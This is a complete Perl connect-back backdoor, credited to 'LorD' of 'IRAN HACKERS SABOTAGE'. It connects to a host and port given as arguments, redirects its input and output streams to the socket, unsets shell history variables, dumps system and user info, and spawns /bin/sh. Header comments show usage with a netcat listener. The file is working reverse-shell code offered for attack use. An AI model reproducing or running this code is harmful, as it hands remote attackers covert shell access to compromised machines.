use IO::Socket;
#IRAN HACKERS SABOTAGE Connect Back Shell          
#code by:LorD
#We Are :LorD-C0d3r-NT                                           
#
#lord@SlackwareLinux:/home/programing$ perl dc.pl
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#lord@SlackwareLinux:/home/programing$ perl dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
#--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--
#
#--==Systeminfo==--
#Linux SlackwareLinux 2.6.7 #1 SMP Thu Dec 23 00:05:39 IRT 2004 i686 unknown unknown GNU/Linux
#
#--==Userinfo==--
#uid=1001(lord) gid=100(users) groups=100(users)
#
#--==Directory==--
#/root
#
#--==Shell==--
#
$system	= '/bin/sh';
$ARGC=@ARGV; 
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n"; 
if ($ARGC!=2) { 
   print "Usage: $0 [Host] [Port] \n\n"; 
   die "Ex: $0 127.0.0.1 2121 \n"; 
} 
use Socket; 
use FileHandle; 
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n"; 
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush(); 
open(STDIN, ">&SOCKET"); 
open(STDOUT,">&SOCKET"); 
open(STDERR,">&SOCKET"); 
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==--  \n\n"; 
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 
system($system);
#EOF